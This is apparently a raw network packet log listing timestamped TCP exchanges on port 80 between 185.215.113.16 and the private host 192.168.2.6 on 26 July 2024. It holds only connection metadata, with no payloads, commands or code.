Jul 26, 2024 13:49:32.763084888 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.763117075 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.763148069 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.764877081 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.764909029 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.764942884 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.765022993 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.765054941 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.765073061 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.765151978 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.765240908 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.765273094 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.765305042 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.765594006 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.765626907 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.765660048 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.765691042 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.765723944 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.765752077 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.766280890 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.766310930 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.766341925 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.766372919 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.768704891 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.768737078 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.768768072 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.768995047 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.769028902 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.769061089 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.769161940 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.769211054 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.772810936 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.780514002 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.780570030 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.780601978 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.780672073 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.780703068 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.780736923 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.780771017 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.780927896 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.780977964 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.781011105 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.781044006 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.781075954 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.781109095 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.781145096 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.781302929 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.781335115 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.781368971 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.781533003 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.781564951 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.781604052 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.781620979 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.783598900 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.783715010 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.783746958 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.783781052 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.783873081 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.783922911 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.783956051 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.787801981 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.794363976 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.794401884 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.794437885 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.794503927 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.794756889 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.794796944 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.794833899 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.794989109 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.837403059 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.837466955 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.837503910 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.837555885 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.837589979 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.837626934 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.837707043 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.837757111 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.837790012 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.837824106 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.837857008 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.838138103 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.838171005 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.838203907 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.838236094 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.838267088 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.838299990 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.838331938 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.838363886 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.838397980 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.838550091 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.839075089 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.840203047 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.840791941 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.845160007 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.845221996 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.845232964 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.845372915 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.845382929 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.845391989 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.845514059 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.845792055 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.847563028 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.847573996 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.847784996 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.892096996 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.892117977 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.892138958 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.892151117 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.892164946 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.892177105 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.892539978 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.892549992 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.892560959 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.892611027 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.892765045 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.892874956 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.892885923 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.892894983 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.892899036 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.892910957 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.893071890 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.894351959 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.894391060 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.894401073 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.894524097 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.894536018 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.894546986 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.894557953 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.896621943 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.896687031 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.896696091 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.897049904 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.897114992 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.897128105 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.897214890 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.897227049 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.906138897 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.906186104 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.906224966 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.907654047 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.907720089 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.907730103 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.907754898 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.907809019 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.907819986 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.907829046 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.909590006 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.909647942 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.909658909 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.909753084 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.909867048 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.909877062 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.909888029 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.909898043 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.910137892 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.910149097 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.910159111 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.910168886 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.910181046 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.910394907 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.910404921 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.910413980 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.910530090 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.910541058 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.910550117 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.910646915 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.910727978 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.910738945 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.910897970 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.910909891 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.910917997 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.911050081 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.911060095 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.911072016 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.911360979 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.911410093 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.911420107 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.911531925 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.911585093 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.911596060 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.911607027 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.911725998 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.911736012 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.911745071 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.911828995 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.911941051 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.911951065 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.914223909 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.914235115 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.914321899 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.914333105 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.914463997 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.914474964 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.914484978 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.915281057 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.915293932 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.915303946 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.915400982 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.915915966 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.915932894 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.915942907 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.916052103 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.916073084 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.916083097 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.916095018 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.918843031 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.918886900 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.918920994 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.918951035 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.918982983 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.919015884 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.919044018 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.928044081 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.928066969 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.928080082 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.928222895 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.928235054 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.928246975 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.928257942 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.928456068 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.928467035 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.928478956 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.928495884 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.928719997 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.928731918 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.928742886 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.928755045 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.928997040 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.929008007 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.929018021 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.929028988 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.929039955 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.929049969 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.935723066 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.935735941 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.935748100 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.935854912 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.935866117 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.935884953 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.935898066 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.937855959 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.952821970 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.956691980 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.982386112 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.982419968 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.982431889 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.982537031 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.982547045 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.982556105 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.982567072 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.982819080 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.983300924 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.983339071 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.983350039 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.983479977 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.983489990 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.983500004 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.983510017 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.984749079 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.984810114 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.984821081 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.984949112 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.984960079 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.984970093 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.985089064 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.988038063 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.988055944 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.988066912 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.988153934 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.988233089 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.988244057 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.988255024 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.988265038 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.997806072 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.998127937 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.998147011 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.998158932 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.998307943 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.998318911 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.998330116 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.998341084 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.000128984 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.000171900 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.000184059 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.000402927 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.008865118 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.008944035 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.008991003 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.009258032 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.016458988 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.016486883 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.016498089 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.022173882 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.044836044 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.044846058 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.044961929 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.044994116 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.045005083 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.045126915 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.045136929 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.045145988 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.045269966 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.045278072 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.045288086 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.045300007 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.045763016 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.045773029 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.047056913 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.047122955 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.047133923 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.047216892 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.047297001 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.047307014 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.047420025 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.047430992 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.049478054 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.049499035 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.049736023 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.051980972 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.051991940 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.052001953 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.052095890 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.052105904 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.052115917 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.052115917 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.052270889 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.059262037 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.059317112 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.059325933 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.059464931 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.059474945 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.059663057 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.060493946 CEST	80	59056	185.215.113.16	192.168.2.6
